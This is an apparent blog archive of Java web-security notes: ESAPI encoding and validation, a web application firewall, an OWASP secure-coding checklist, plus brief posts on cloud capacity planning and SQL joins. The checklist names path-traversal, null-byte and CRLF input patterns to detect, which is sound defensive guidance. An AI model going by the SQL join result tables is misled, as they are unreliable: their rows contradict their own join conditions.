Software Architecture, Architects and Opinions

TODO: ESAPI, Spring Security, Tomcat

2013-06-22T20:39:00.000-07:00

Java Security:
http://docs.redhat.com/docs/en-US/JBoss_Enterprise_Application_Platform/5/html/Security_Guide/chap-Java_EE_Security_Manager.html

http://java.sun.com/developer/onlineTraining/Programming/JDCBook/appA.html

http://onjava.com/onjava/2007/01/03/discovering-java-security-requirements.html

http://www.techrepublic.com/article/java-security-policies-and-permission-management/6178805

Spring

CROSS SITE REQUEST FORGERY AND OAUTH2

http://java.dzone.com/tips/pathway-acegi-spring-security-
http://forum.springsource.org/showthread.php?93561-Remote-authentication-over-HTTP-Basic-Auth

JOSSO - Java Open Single Sign-On Project Home: JOSSO is an Open Source Internet SSO solution for rapid and standards-based (SAML) Internet-scale Single Sign-On implementations, allowing secure Internet access to the Web-based applications or services of customers, suppliers, and business partners.

tomcat
http://www.kopz.org/public/documents/tomcat/jaasintomcat.html

Implementing Ajax Authentication using jQuery, Spring Security and HTTPS
Java Web Application Security - Part I: Java EE 6 Login Demo
Java Web Application Security - Part II: Spring Security Login Demo
Java Web Application Security - Part III: Apache Shiro Login Demo
Java Web Application Security - Part IV: Programmatic Login APIs
Java Web Application Security - Part IV: Programmatic Login APIs

ESAPI
https://lists.owasp.org/pipermail/owasp-esapi/2009-September/000883.html

ESAPI-Spring Authenticator

series of blog posts around ESAPI usage

http://java.net/downloads/satjug/ESAPI%20JUG.pdf

Security: OWASP ESAPI

2013-06-01T14:34:00.000-07:00

ESAPI

Create a standardized mechanism for Java EE applications to address security concerns
ESAPI is NOT a framework. It’s a set of well defined interfaces and a reference
implementation of the “right” way to do security controls

Input Validation & Encoding

Canonicalizing - reducing a possibly encoded string down to its simplest form.
Double encoding is not something a user does so generally regarded as an attack
Encoding - various methods for different destinations. Whitelist acceptable characters and encode those that don’t pass muster
Validating - after canonicalizing, ensures data is of the correct type, in acceptable ranges, etc
Supports either boolean returns or throwing exceptions “to allow maximum flexibility because
not all validation errors are security problems”
safeReadLine() to prevent DoS attack
File name and directory path validation
Basic credit card validation
AntiSamy protection

Encryption

Reference implementation utilizes Java Cryptography Extension (JCE)
Ensure strong salt and password values are used - takes away the chance for developers to make poor choices for these crucial values
Algorithms configurable via properties
Seal - encrypts data and includes an expiration timestamp

Indirect Object References

Reference implementation includes 2 concrete classes: integer based and random strings
Defeats parameter tampering attacks
Can help combat CSRF if per-user access reference maps are used

HTTP Utilities

Provides useful methods relating to request, response, cookies, sessions, etc.
addCSRFToken()
changeSessionIdentifier()
encrypt/decrypt fields
safeXXX() methods for adding headers, sending forwards & redirects to ensure character encoding
Reference implementation utilizes Apache Commons FileUploader
Reference implementation relies on current request & response being stored in ThreadLocal variables - means you have to utilize the ESAPI authenticator or explicitly call ESAPI.authenticator().setCurrentHTTP()

Authentication & Access Control

Reference implementation includes a file based authenticator.
Provides login/logout capabilities, user authentication using hashed passwords
Utility methods for password generation and to ensure account name and password strength
Carries out some of the required setup for other components such as HTTPUtilities

Intrusion Detection

Reference implementation has a default detector that does rudimentary calculations of number of errors per time period

OWASP Top 10 and ESAPI mapping

Injection

Encoder

Validator, Encoder

Malicious File Execution

HTTPUtilities(FileUpload)

Insecure Direct Object Reference

AccessReferenceMap

CSRF

User(csrf token)

Leakage and Improper Error handling

EnterpriseSecurityException, HttpUtils

Broken Authentication and Sessions

Authenticator, User, HttpUtils

Insecure Cryptographic Storage

Encryptor

Failure to Restrict URL access

AccessController

Intrusion Detection

To enable intrusion detection in your application, the only requirement is to configure it to be enabled in your ESAPI.properties file. Simply set the IntrusionDetector.Disable property to be false and you are in business. Once intrusion detection is enabled in your application, any exception that extends the EnterpriseSecurityException will raise an event that the intrusion detector can be configured to respond to.

In the ESAPI.properties file you will find a section for IntrusionDetection with a sample configuration for events. You can add custom events here and configure what actions should be taken as well as thresholds for those events.

Introducing AppSensor
Some friends at OWASP took the ESAPI Intrusion Detector and some ideas that they had and built one of the most powerful application layer intrusion detection and prevention components available today. This project, called AppSensor - is built on top of ESAPI so it integrates seamlessly with ESAPI and provides fantastic protection to your application. I highly recommend using AppSensor for anything other than the most basic of intrusion detection and prevention needs.

Encryption

performing the encryption and decryption of sensitive information is incredibly simple.

view plainprint?
// Populate User Object from Request
// ...
// Encrypt Sensitive Information
CipherText encryptedSSN = ESAPI.encryptor().encrypt(new PlainText(userInfo.getSSN()));
userInfo.setSSN(new String(encryptedSSN.asPortableSerializedByteArray());
// Persist User Object
// ...

To decrypt the data is just as simple.
view plainprint?
// Retrieve persisted User Object
// ...
// Decrypt Sensitive Information
CipherText encryptedSSN = CipherText.fromPortableSerializedBytes(user.getSSN());
PlainText decryptedSSN = ESAPI.encryptor().decrypt(encryptedSSN);
userInfo.setSSN(decryptedSSN.toString());
// Prepare User Object for use in application
// ...

Of course this can be abstracted into a service, added as an annotation processor in your persistence layer, and altered to be used in a more generic form that meets your specific platform needs. Additionally, depending on the type of information you are dealing with and the perceived risk of that information being leaked - it may make sense for the data to be encrypted all the time until it needs to be viewed or altered on the front end. This approach can also increase performance of the encryption and decryption because you are only ever performing this step when it is needed.

The ESAPI Web Application Firewall
This presentation was by Arshan Dabirsiaghi and was about the OWASP ESAPI Web Application Firewall (WAF) project. My notes are below:

WAF Fallacies (at least in regards to OWASP ESAPI WAF)

WAFs add attack surface
WAFs can create culture problems
WAFs can't fix business logic vulnerabilities
WAFs are way too expensive
WAFs complicate networks

Why fix in ESAPI WAF vs Fix in code?

Changing in ESAPI WAF is just a text file
Shorter gap between time discovered and WAF fix vs code fix

Advantages of WAF

Performance - Only your rules are checked, plus state is already managed by the app server
Capability - being closer to the app lets us do more
Process - Rules are closer to application owner, shortening discovery-to-patch time, also fix-to-patch-removal time

Principle: Make common tasks easy, uncommon tasks possible.

Notes:

General virtual patching functionality is easy to understand.
Ability to write custom script rules as well "bean-shell-rules"
Fixing Injection Flaws is easy.
Can fix business logic flaws with the WAF (missing authentication, missing functional access control, missing data layer access control).
Can add "outbound" security as well.

Add anti-clickjacking header
Set uniform content-type
Add HttpOnly flag
Add secure flag
Detect outbound information
Replace outbound information

Takes advantage of early failing to make rules as optimized as possible

Now we see the tool demonstrated with several different vulnerabilities in a real-world application (JForum):

Cross-Site Scripting Flaw (JForum XSS flaw is unable to be fixed with a WAF because of dynamic URLs)
Unchecked Redirect
Add HttpOnly
Add anti-clickjacking header
Privilege escalation

3 Different WAF Modes

Log
Block
Redirect

Latency with all of the rules turned on is about 5%. With selected rules is closer to 0%. Basically an order of n magnitude where n is the number of rules enabled. Comes out to milliseconds.

Using ESAPI with Struts

extend the struts tag library and embed the ESAPI libraries within it.

The biggest advantage of this approach is that there are no or minimal changes required to JSP pages. You can retro fit this solution into existing struts 2 application. The only JSP’s you may need to change are ones that use the s:property tag directly which are outputting into a HTML attribute, JavaScript or CSS.

Customizing the s:property Tag

At the core of the struts tags there is the property tag (<s:property ../>). You’ll find that all the struts freemarker templates use the property tag within them for actually outputting the values, hence also becoming the core of the problem.

The main problem with the property tag is that it has few options for escaping the outputs by default (escape and escapeJavaScript), and then what escaping it does do is fairly limited. So to get around this we’ll create a more robust version of the property tag that has options to escape for HTML attribute, HTML value, CSS etc.

General Use

The features of the new property tag can be used directly within a JSP page.

<s:property value="name" escapeHtmlAttribute="true"/>

An additional feature added to the property tag is the encrypt attribute. Setting this attribute to true will encrypt the value. According to OWASP object ID’s should not be used on their own, but they should be encrypted. Having the encrypt attribute makes it very easy to folow this rule. The value has to be decrypted in the action code.

Securing Inputs

Inputs in this instance includes securing HTML forms as well as general HTTP requests that are sent to your application.

Servlet Filter

Checks for double encoded values
Valid characters, it needs to be fairly broad though (printable characters)
Canonicalization

ESAPI supplies the SecurityWrapper filter that will perform the above validation and sanitation. It can found under the following package: org.owasp.esapi.filters.SecurityWrapper
The SecurityWrapper wraps up the HttpServletRequest and HttpServletResponse in it’s own copies. These wrappers validates and canoncalizes inputs included within the request as well as HTTP header values.
The validation within the request and response wrappers is done using the ESAPI.validator().getValidInput(…) methods. The validation rules that this method uses is driven from the regular expressions set within the esapi.properties and validation.properties. The default expressions found within these properties files are very restrictive

The same theory applies for values within HTML forms. Any hidden values should also be encrypted to stop tampering. The same technique described above can be used.

Validation

Server side validation in struts can be done in a number of ways, within annotations or by using validation XML files. One can create custom validators and add them to Validator.xml file.

References

http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-part-1-securing-outputs/
http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-%E2%80%93-part-2-securing-inputs/

Appendix: Encodings

HTML character references

Numeric character references can be in decimal format, &#DD;, where DD is a variable number of decimal digits.
Similarly there is a hexadecimal format, &#xHHHH;, where HHHH is a variable number of hexadecimal digits. Hexadecimal character references are case-insensitive in HTML.
Characters in the hexadecimal ranges 00–08, 0B–0C, 0E–1F, 7F, and 80–9F cannot be used in an HTML document, not even by reference, so "&#153;", for example, is not allowed. However, for backward compatibility with early HTML authors and browsers that ignored this restriction.
Character entity references have the format &name; where "name" is a case-sensitive alphanumeric string. For example, '?' can also be encoded as &lambda; in an HTML document.
If HTML attributes are not fully quoted, then you must entity encode whitespace like space, tab, and others

Attribute Encoding
Attribute encoding replaces three characters that are not valid to use inside attribute values in HTML. Those characters are ampersand ‘&’, less-than ‘<’, and quotation marks ‘”’. The first two for the same reason you HTML encode to prevent HTML injection attacks and the last one because quotation marks are used to define the value of the attribute.

Appendix: ESAPI API

Note: ESAPI canonicalizes input before validation to prevent bypassing filters with encoded attacks. Failure to canonicalize input is a very common mistake when implementing validation schemes. Canonicalization is automatic when using the ESAPI Validator.

Important Methods

canonicalize()

Default canonicalize() method only decodes HTMLEntity, percent (URL) encoding, and JavaScript encoding. Although ESAPI is able to canonicalize multiple, mixed, or nested encoding, it's safer to not accept this stuff in the first place. In ESAPI, the default is "strict" mode that throws an IntrusionException if it receives anything not single-encoded with a single scheme. This is configurable in ESAPI.properties using the properties:

Encoder.AllowMultipleEncoding=false
Encoder.AllowMixedEncoding=false

encodeForHTML

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27; &apos; is not recommended
/ --> &#x2F; forward slash is included as it helps end an HTML entity

encodeForHTMLAttribute

Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote.

encodeForJavaScript

Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. DO NOT use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to "escape-the-escape" attacks where the attacker sends \" and the vulnerable code turns that into \\" which enables the quote.

Encode data for insertion inside a data value or function argument in JavaScript. Including user data directly inside a script is quite dangerous. Great care must be taken to prevent including user data directly into script code itself, as no amount of encoding will prevent attacks there. Please note there are some JavaScript functions that can never safely receive untrusted data as input – even if the user input is encoded.

encodeForCSS

Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the \HH escaping format. DO NOT use any escaping shortcuts like \"

encodeForXPath

Encode data for use in an XPath query. NB: The reference implementation encodes almost everything and may over-encode. The difficulty with XPath encoding is that XPath has no built in mechanism for escaping characters. It is possible to use XQuery in a parameterized way to prevent injection. For more information, refer to this article which specifies the following list of characters as the most dangerous: ^&"*';<>(). This paper suggests disallowing ' and " in queries.

encodeForURL

Encode for use in a URL. This method performs URL encoding on the entire string.

Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the %HH escaping format.

References:
http://yet-another-dev.blogspot.com.au/
http://www.webadminblog.com/index.php/2009/11/12/the-esapi-web-application-firewall/

Cloud computing - capacity planning

2013-05-19T17:44:00.000-07:00

One of the problems of traditional capacity management is that resources are often underutilized. Not to mention the fact that it is very slow and sometimes painful process to get access to new capacity and it almost impossible to voluntarily relinquish excess capacity. Never ignore the human factor in cloud and capacity planning because often times that is the difference between success in the cloud or failure and disillusionment.

Cloud Computing provides the illusion of infinite computing resources available on-demand but you need to manage budgets. so capacity planning is still very important.

Cloud computing cannot magically solve business problems. I guess it was Etrade that somehow
discovered that one of their competitor was charging money less than the Etrades transaction cost. When an organization is up against such core issues, cloud computing is not going to solve them but instead exacerbate them. What we need is an effective analysis detailing the reasons for the current state of things and then attempting to figure out not if but how cloud computing can solve this.

Since cloud resources could be virtualized, Capacity planning, first includes the ability to measure in cloud terms and not be confused about the units. For instance, CPU is typically standardized at 1 Ghz, and is considered 1 CPU.

It is important to consider the maximum "single" VM request that can be fulfilled. for instance can we provision a VM with 24 CPUs and not run against the actual physical CPU limits? The same applies to memory as well.

In cloud computing it is easier to relinquish control over resources because one knows that they can quickly get it again.

A few of the important things in capacity planning is understanding:

- Current capacity

- Current utilization

- Future utilization

- Trend and spikes

- can we handle the temporary or seasonal "spikes" in demand and also handle the general up or down trend.

The above considerations help in answering the questions around ROI (return on investment).

But how do I estimate?

There are tools available including one from IBM; IBM infrastructure planner for cloud computing.

SQL Joins

2013-04-20T13:47:00.000-07:00

SQL joins summarized:

INNER JOIN

SELECT * FROM T1 INNER JOIN T2 ON T1.id = T2.id

id name id name
-- ---- -- ----
1 Aa 2 Aa
3 Bb 4 Bb

Inner join produces only the set of records that match in both T1 and T2.

FULL OUTER JOIN

SELECT * FROM T1
FULL OUTER JOIN T2
ON T1.id = T2.id

id name id name
-- ---- -- ----
1 a 2 a
2 b null null
3 c 4 c
4 d null null
null null 1 e
null null 3 f

Full outer join produces the set of all records in T1 and T2, with matching records from both sides where available. If there is no match, the missing side will contain null.

LEFT OUTER JOIN

SELECT * FROM T1
LEFT OUTER JOIN T2
ON T1.id = T2.id

id name id name
-- ---- -- ----
1 P 2 P
2 M null null
3 N 4 N
4 S null null

Left outer join produces a complete set of records from T1, with the matching records (where available) in T2. If there is no match, the right side will contain null.

Security: Secure Coding practices

2013-04-06T21:11:00.000-07:00

We need to understand that client side controls like client based input validation, hidden fields and interface controls provide little if any security benefit.

An attacker can use tools like client side web proxies (e.g. OWASP WebScarab, Burp) or network packet capture tools (e.g., WireShark) to analyze application traffic and submit custom built requests, bypassing the interface all together.
Additionally, Flash, Java Applets and other client side objects can be decompiled and analyzed for flaws

Software security flaws can be introduced at any stage of the software development lifecycle, including:

 Not identifying security requirements up front

 Creating conceptual designs that have logic errors

 Using poor coding practices

 Deploying the software improperly

 Introducing flaws during maintenance or updating

Secure Coding Practices Checklist

Input Validation:

 Conduct all data validation on a trusted system (e.g., The server)

 Identify all data sources and validate all data from untrusted sources (e.g., Databases, file streams, etc.)

 There should be a centralized input validation

 proper character sets, such as UTF-8, for all sources of input

 Encode data to a common character set before validating (Canonicalize)

 All validation failures should result in input rejection

 Determine if the system supports UTF-8 extended character sets and if so, validate after UTF-8

decoding is completed

 Validate all client provided data including all parameters, URLs and HTTP header

content (e.g. Cookie names and values). Be sure to include automated post backs from JavaScript,

Flash or other embedded code

 Verify that header values in both requests and responses contain only ASCII characters

 Validate data from redirects (An attacker may submit malicious content directly to the target of the

redirect, thus circumventing application logic and any validation performed before the redirect)

 Validate for expected data types

 Validate data range

 Validate data length

 Validate all input against a "white" list of allowed characters, whenever possible

 If any potentially hazardous characters must be allowed as input, be sure that you implement

additional controls like output encoding, secure task specific APIs and accounting for the utilization

of that data throughout the application . Examples of common hazardous characters include:

< > " ' % ( ) & + \ \' \"

 If your standard validation routine cannot address the following inputs, then they should be checked

discretely

o Check for null bytes ()

o Check for new line characters (%0d, %0a, \r, \n)

o Check for “dot-dot-slash" (../ or ..\) path alterations characters. In cases where UTF-8 extended

character set encoding is supported, address alternate representation like: %c0%ae%c0%ae/

(Utilize canonicalization to address double encoding or other forms of obfuscation attacks)

Output Encoding:

 Conduct all encoding on a trusted system (e.g., The server)

 Utilize a standard, tested routine for each type of outbound encoding

 Contextually output encode all data returned to the client that originated outside the application's trust

boundary. HTML entity encoding is one example, but does not work in all cases

 Encode all characters unless they are known to be safe for the intended interpreter

 Contextually sanitize all output of un-trusted data to queries for SQL, XML, and LDAP

 Sanitize all output of un-trusted data to operating system commandsNovember 2010

Version 2.0 6

Authentication and Password Management:

 Require authentication for all pages and resources, except those specifically intended to be public

 All authentication controls must be enforced on a trusted system (e.g., The server)

 Establish and utilize standard, tested, authentication services whenever possible

 Use a centralized implementation for all authentication controls, including libraries that call external

authentication services

 Segregate authentication logic from the resource being requested and use redirection to and from the

centralized authentication control

 All authentication controls should fail securely

 All administrative and account management functions must be at least as secure as the primary

authentication mechanism

 If your application manages a credential store, it should ensure that only cryptographically strong oneway salted hashes of passwords are stored and that the table/file that stores the passwords and keys is

write-able only by the application. (Do not use the MD5 algorithm if it can be avoided)

 Password hashing must be implemented on a trusted system (e.g., The server).

 Validate the authentication data only on completion of all data input, especially for sequential

authentication implementations

 Authentication failure responses should not indicate which part of the authentication data was

incorrect. For example, instead of "Invalid username" or "Invalid password", just use "Invalid

username and/or password" for both. Error responses must be truly identical in both display and

source code

 Utilize authentication for connections to external systems that involve sensitive information or

functions

 Authentication credentials for accessing services external to the application should be encrypted and

stored in a protected location on a trusted system (e.g., The server). The source code is NOT a secure

location

 Use only HTTP POST requests to transmit authentication credentials

 Only send non-temporary passwords over an encrypted connection or as encrypted data, such as in an

encrypted email. Temporary passwords associated with email resets may be an exception

 Enforce password complexity requirements established by policy or regulation. Authentication

credentials should be sufficient to withstand attacks that are typical of the threats in the deployed

environment. (e.g., requiring the use of alphabetic as well as numeric and/or special characters)

 Enforce password length requirements established by policy or regulation. Eight characters is

commonly used, but 16 is better or consider the use of multi-w ord pass phrases

 Password entry should be obscured on the user's screen. (e.g., on web forms use the input type

"password")

 Enforce account disabling after an established number of invalid login attempts (e.g., five attempts is

common). The account must be disabled for a period of time sufficient to discourage brute force

guessing of credentials, but not so long as to allow for a denial-of-service attack to be performed

 Password reset and changing operations require the same level of controls as account creation and

authentication.

 Password reset questions should support sufficiently random answers. (e.g., "favorite book" is a bad

question because “The Bible” is a very common answer)

 If using email based resets, only send email to a pre-registered address with a temporary

link/password

 Temporary passwords and links should have a short expiration time

 Enforce the changing of temporary passwords on the next useNovember 2010

Version 2.0 7

 Notify users when a password reset occurs

 Prevent password re-use

 Passwords should be at least one day old before they can be changed, to prevent attacks on password

re-use

 Enforce password changes based on requirements established in policy or regulation. Critical systems

may require more frequent changes. The time between resets must be administratively controlled

 Disable "remember me" functionality for password fields

 The last use (successful or unsuccessful) of a user account should be reported to the user at their next

successful login

 Implement monitoring to identify attacks against multiple user accounts, utilizing the same password.

This attack pattern is used to bypass standard lockouts, when user IDs can be harvested or guessed

 Change all vendor-supplied default passwords and user IDs or disable the associated accounts

 Re-authenticate users prior to performing critical operations

 Use Multi-Factor Authentication for highly sensitive or high value transactional accounts

 If using third party code for authentication, inspect the code carefully to ensure it is not affected by

any malicious code

Session Management:

 Use the server or framework’s session management controls. The application should only recognize

these session identifiers as valid

 Session identifier creation must always be done on a trusted system (e.g., The server)

 Session management controls should use well vetted algorithms that ensure sufficiently random

session identifiers

 Set the domain and path for cookies containing authenticated session identifiers to an appropriately

restricted value for the site

 Logout functionality should fully terminate the associated session or connection

 Logout functionality should be available from all pages protected by authorization

 Establish a session inactivity timeout that is as short as possible, based on balancing risk and business

functional requirements. In most cases it should be no more than several hours

 Disallow persistent logins and enforce periodic session terminations, even when the session is active.

Especially for applications supporting rich network connections or connecting to critical systems.

Termination times should support business requirements and the user should receive sufficient

notification to mitigate negative impacts

 If a session was established before login, close that session and establish a new session after a

successful login

 Generate a new session identifier on any re-authentication

 Do not allow concurrent logins with the same user ID

 Do not expose session identifiers in URLs, error messages or logs. Session identifiers should only be

located in the HTTP cookie header. For example, do not pass session identifiers as GET parameters

 Protect server side session data from unauthorized access, by other users of the server, by

implementing appropriate access controls on the server

 Generate a new session identifier and deactivate the old one periodically. (This can mitigate certain

session hijacking scenarios where the original identif ier was compromised)

 Generate a new session identifier if the connection security changes from HTTP to HTTPS, as can

occur during authentication. Within an application, it is recommended to consistently utilize HTTPS

rather than switching between HTTP to HTTPS.November 2010

Version 2.0 8

 Supplement standard session management for sensitive server-side operations, like account

management, by utilizing per-session strong random tokens or parameters. This method can be used

to prevent Cross Site Request Forgery attacks

 Supplement standard session management for highly sensitive or critical operations by utilizing perrequest, as opposed to per-session, strong random tokens or parameters

 Set the "secure" attribute for cookies transmitted over an TLS connection

 Set cookies with the HttpOnly attribute, unless you specifically require client-side scripts within your

application to read or set a cookie's value

Access Control:

 Use only trusted system objects, e.g. server side session objects, for making access authorization

decisions

 Use a single site-wide component to check access authorization. This includes libraries that call

external authorization services

 Access controls should fail securely

 Deny all access if the application cannot access its security configuration information

 Enforce authorization controls on every request, including those made by server side scripts,

"includes" and requests from rich client-side technologies like AJAX and Flash

 Segregate privileged logic from other application code

 Restrict access to files or other resources, including those outside the application's direct control, to

only authorized users

 Restrict access to protected URLs to only authorized users

 Restrict access to protected functions to only authorized users

 Restrict direct object references to only authorized users

 Restrict access to services to only authorized users

 Restrict access to application data to only authorized users

 Restrict access to user and data attributes and policy information used by access controls

 Restrict access security-relevant configuration information to only authorized users

 Server side implementation and presentation layer representations of access control rules must match

 If state data must be stored on the client, use encryption and integrity checking on the server side to

catch state tampering.

 Enforce application logic flows to comply with business rules

 Limit the number of transactions a single user or device can perform in a given period of time. The

transactions/time should be above the actual business requirement, but low enough to deter automated

attacks

 Use the "referer" header as a supplemental check only, it should never be the sole authorization check,

as it is can be spoofed

 If long authenticated sessions are allowed, periodically re-validate a user’s authorization to ensure that

their privileges have not changed and if they have, log the user out and force them to re-authenticate

 Implement account auditing and enforce the disabling of unused accounts (e.g., After no more than 30

days from the expiration of an account’s password.)

 The application must support disabling of accounts and terminating sessions when authorization

ceases (e.g., Changes to role, employment status, business process, etc.)

 Service accounts or accounts supporting connections to or from external systems should have the least

privilege possibleNovember 2010

Version 2.0 9

 Create an Access Control Policy to document an application's business rules, data types and access

authorization criteria and/or processes so that access can be properly provisioned and controlled. This

includes identifying access requirements for both the data and system resources

Cryptographic Practices:

 All cryptographic functions used to protect secrets from the application user must be implemented on

a trusted system (e.g., The server)

 Protect master secrets from unauthorized access

 Cryptographic modules should fail securely

 All random numbers, random file names, random GUIDs, and random strings should be generated

using the cryptographic module’s approved random number generator when these random values are

intended to be un-guessable

 Cryptographic modules used by the application should be compliant to FIPS 140-2 or an equivalent

standard. (See http://csrc.nist.gov/groups/STM/cmvp/validation.html)

 Establish and utilize a policy and process for how cryptographic keys will be managed

Error Handling and Logging:

 Do not disclose sensitive information in error responses, including system details, session identifiers

or account information

 Use error handlers that do not display debugging or stack trace information

 Implement generic error messages and use custom error pages

 The application should handle application errors and not rely on the server configuration

 Properly free allocated memory when error conditions occur

 Error handling logic associated with security controls should deny access by default

 All logging controls should be implemented on a trusted system (e.g., The server)

 Logging controls should support both success and failure of specified security events

 Ensure logs contain important log event data

 Ensure log entries that include un-trusted data will not execute as code in the intended log viewing

interface or software

 Restrict access to logs to only authorized individuals

 Utilize a master routine for all logging operations

 Do not store sensitive information in logs, including unnecessary system details, session identifiers or

passwords

 Ensure that a mechanism exists to conduct log analysis

 Log all input validation failures

 Log all authentication attempts, especially failures

 Log all access control failures

 Log all apparent tampering events, including unexpected changes to state data

 Log attempts to connect with invalid or expired session tokens

 Log all system exceptions

 Log all administrative functions, including changes to the security configuration settings

 Log all backend TLS connection failures

 Log cryptographic module failures

 Use a cryptographic hash function to validate log entry integrityNovember 2010

Version 2.0 10

Data Protection:

 Implement least privilege, restrict users to only the functionality, data and system information that is

required to perform their tasks

 Protect all cached or temporary copies of sensitive data stored on the server from unauthorized access

and purge those temporary working files a soon as they are no longer required.

 Encrypt highly sensitive stored information, like authentication verification data, even on the server

side. Always use well vetted algorithms, see "Cryptographic Practices" for additional guidance

 Protect server-side source-code from being downloaded by a user

 Do not store passwords, connection strings or other sensitive information in clear text or in any noncryptographically secure manner on the client side. This includes embedding in insecure formats like:

MS viewstate, Adobe flash or compiled code

 Remove comments in user accessible production code that may reveal backend system or other

sensitive information

 Remove unnecessary application and system documentation as this can reveal useful information to

attackers

 Do not include sensitive information in HTTP GET request parameters

 Disable auto complete features on forms expected to contain sensitive information, including

authentication

 Disable client side caching on pages containing sensitive information. Cache-Control: no-store, may

be used in conjunction with the HTTP header control "Pragma: no-cache", which is less effective, but

is HTTP/1.0 backward compatible

 The application should support the removal of sensitive data when that data is no longer required.

(e.g. personal information or certain financial data)

 Implement appropriate access controls for sensitive data stored on the server. This includes cached

data, temporary files and data that should be accessible only by specific system users

Communication Security:

 Implement encryption for the transmission of all sensitive information. This should include TLS for

protecting the connection and may be supplemented by discrete encryption of sensitive files or nonHTTP based connections

 TLS certificates should be valid and have the correct domain name, not be expired, and be installed

with intermediate certificates when required

 Failed TLS connections should not fall back to an insecure connection

 Utilize TLS connections for all content requiring authenticated access and for all other sensitive

information

 Utilize TLS for connections to external systems that involve sensitive information or functions

 Utilize a single standard TLS implementation that is configured appropriately

 Specify character encodings for all connections

 Filter parameters containing sensitive information from the HTTP referer, when linking to external

sites

System Configuration:

 Ensure servers, frameworks and system components are running the latest approved version

 Ensure servers, frameworks and system components have all patches issued for the version in use

 Turn off directory listings

 Restrict the web server, process and service accounts to the least privileges possible

 When exceptions occur, fail securely

 Remove all unnecessary functionality and files

 Remove test code or any functionality not intended for production, prior to deployment

 Prevent disclosure of your directory structure in the robots.txt file by placing directories not intended

for public indexing into an isolated parent directory. Then "Disallow" that entire parent directory in

the robots.txt file rather than Disallowing each individual directory

 Define which HTTP methods, Get or Post, the application will support and whether it will be handled

differently in different pages in the application

 Disable unnecessary HTTP methods, such as WebDAV extensions. If an extended HTTP method that

supports file handling is required, utilize a well-vetted authentication mechanism

 If the web server handles both HTTP 1.0 and 1.1, ensure that both are configured in a similar manor

or insure that you understand any difference that may exist (e.g. handling of extended HTTP methods)

 Remove unnecessary information from HTTP response headers related to the OS, web-server version

and application frameworks

 The security configuration store for the application should be able to be output in human readable

form to support auditing

 Implement an asset management system and register system components and software in it

 Isolate development environments from the production network and provide access only to authorized

development and test groups. Development environments are often configured less securely than

production environments and attackers may use this difference to discover shared weaknesses or as an

avenue for exploitation

 Implement a software change control system to manage and record changes to the code both

in development and production

Database Security:

 Use strongly typed parameterized queries

 Utilize input validation and output encoding and be sure to address meta characters. If these fail, do

not run the database command

 Ensure that variables are strongly typed

 The application should use the lowest possible level of privilege when accessing the database

 Use secure credentials for database access

 Connection strings should not be hard coded within the application. Connection strings should be

stored in a separate configuration file on a trusted system and they should be encrypted.

 Use stored procedures to abstract data access and allow for the removal of permissions to the base

tables in the database

 Close the connection as soon as possible

 Remove or change all default database administrative passwords. Utilize strong passwords/phrases or

implement multi-factor authentication

 Turn off all unnecessary database functionality (e.g., unnecessary stored procedures or services, utility

packages, install only the minimum set of features and options required (surface area reduction))

 Remove unnecessary default vendor content (e.g., sample schemas)

 Disable any default accounts that are not required to support business requirements

 The application should connect to the database with different credentials for every trust distinction

(e.g., user, read-only user, guest, administrators)

File Management:

 Do not pass user supplied data directly to any dynamic include function

 Require authentication before allowing a file to be uploaded

 Limit the type of files that can be uploaded to only those types that are needed for business purposes

 Validate uploaded files are the expected type by checking file headers. Checking for file type by

extension alone is not sufficient

 Do not save files in the same web context as the application. Files should either go to the content

server or in the database.

 Prevent or restrict the uploading of any file that may be interpreted by the web server.

 Turn off execution privileges on file upload directories

 Implement safe uploading in UNIX by mounting the targeted file directory as a logical drive using the

associated path or the chrooted environment

 When referencing existing files, use a white list of allowed file names and types. Validate the value of

the parameter being passed and if it does not match one of the expected values, either reject it or use a

hard coded default file value for the content instead

 Do not pass user supplied data into a dynamic redirect. If this must be allowed, then the redirect

should accept only validated, relative path URLs

 Do not pass directory or file paths, use index values mapped to pre-defined list of paths

 Never send the absolute file path to the client

 Ensure application files and resources are read-only

 Scan user uploaded files for viruses and malware

Memory Management:

 Utilize input and output control for un-trusted data

 Double check that the buffer is as large as specified

 When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the

destination buffer size is equal to the source buffer size, it may not NULL-terminate the string

 Check buffer boundaries if calling the function in a loop and make sure there is no danger of writing

past the allocated space

 Truncate all input strings to a reasonable length before passing them to the copy and concatenation

functions

 Specifically close resources, don’t rely on garbage collection. (e.g., connection objects, file handles,

etc.)

 Use non-executable stacks when available

 Avoid the use of known vulnerable functions (e.g., printf, strcat, strcpy etc.)

 Properly free allocated memory upon the completion of functions and at all exit points

General Coding Practices:

 Use tested and approved managed code rather than creating new unmanaged code for common tasks

 Utilize task specific built-in APIs to conduct operating system tasks. Do not allow the application to

issue commands directly to the Operating System, especially through the use of application initiated

command shells

 Use checksums or hashes to verify the integrity of interpreted code, libraries, executables, and

configuration files

 Utilize locking to prevent multiple simultaneous requests or use a synchronization mechanism to

prevent race conditions

 Protect shared variables and resources from inappropriate concurrent access

 Explicitly initialize all your variables and other data stores, either during declaration or just before the

first usage

 In cases where the application must run with elevated privileges, raise privileges as late as possible,

and drop them as soon as possible

 Avoid calculation errors by understanding your programming language's underlying representation

and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision,

signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number"

calculations, and how your language handles numbers that are too large or too small for its underlying

representation

 Do not pass user supplied data to any dynamic execution function

 Restrict users from generating new code or altering existing code

 Review all secondary applications, third party code and libraries to determine business necessity and

validate safe functionality, as these can introduce new vulnerabilities

 Implement safe updating. If the application will utilize automatic updates, then use cryptographic

signatures for your code and ensure your download clients verify those signatures. Use encrypted

channels to transfer the code from the host server

Resources:

OWASP Testing guide: https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf

Originally published as https://www.owasp.org/images/0/08/OWASP_SCP_Quick_Reference_Guide_v2.pdf

